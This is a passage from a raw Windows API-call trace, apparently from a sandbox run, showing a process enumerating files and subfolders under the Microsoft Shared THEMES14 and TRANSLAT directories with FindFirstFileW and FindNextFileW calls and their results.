ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.214] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.214] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0273.214] GetLastError () returned 0x12 [0273.215] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.215] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.216] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0273.216] GetLastError () returned 0x12 [0273.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.216] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.216] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0273.216] GetLastError () returned 0x12 [0273.217] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.217] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.217] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0273.217] GetLastError () returned 0x12 [0273.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.217] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.217] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0273.218] GetLastError () returned 0x12 [0273.219] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.219] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.219] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0273.219] GetLastError () returned 0x12 [0273.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.219] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.219] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0273.219] GetLastError () returned 0x12 [0273.222] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.222] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0273.222] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.222] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0273.223] GetLastError () returned 0x12 [0273.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.271] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0273.271] GetLastError () returned 0x12 [0273.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.272] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0273.272] GetLastError () returned 0x12 [0273.272] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.272] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0273.272] GetLastError () returned 0x12 [0273.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.273] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.273] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0273.273] GetLastError () returned 0x12 [0273.273] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.273] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.273] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0273.273] GetLastError () returned 0x12 [0273.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.273] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.274] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0273.274] GetLastError () returned 0x12 [0273.274] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.274] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.274] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0273.274] GetLastError () returned 0x12 [0273.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.274] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.274] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0273.274] GetLastError () returned 0x12 [0273.274] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.274] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.274] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0273.274] GetLastError () returned 0x12 [0273.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.275] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.275] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0273.275] GetLastError () returned 0x12 [0273.275] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.277] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.277] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0273.277] GetLastError () returned 0x12 [0273.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.278] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 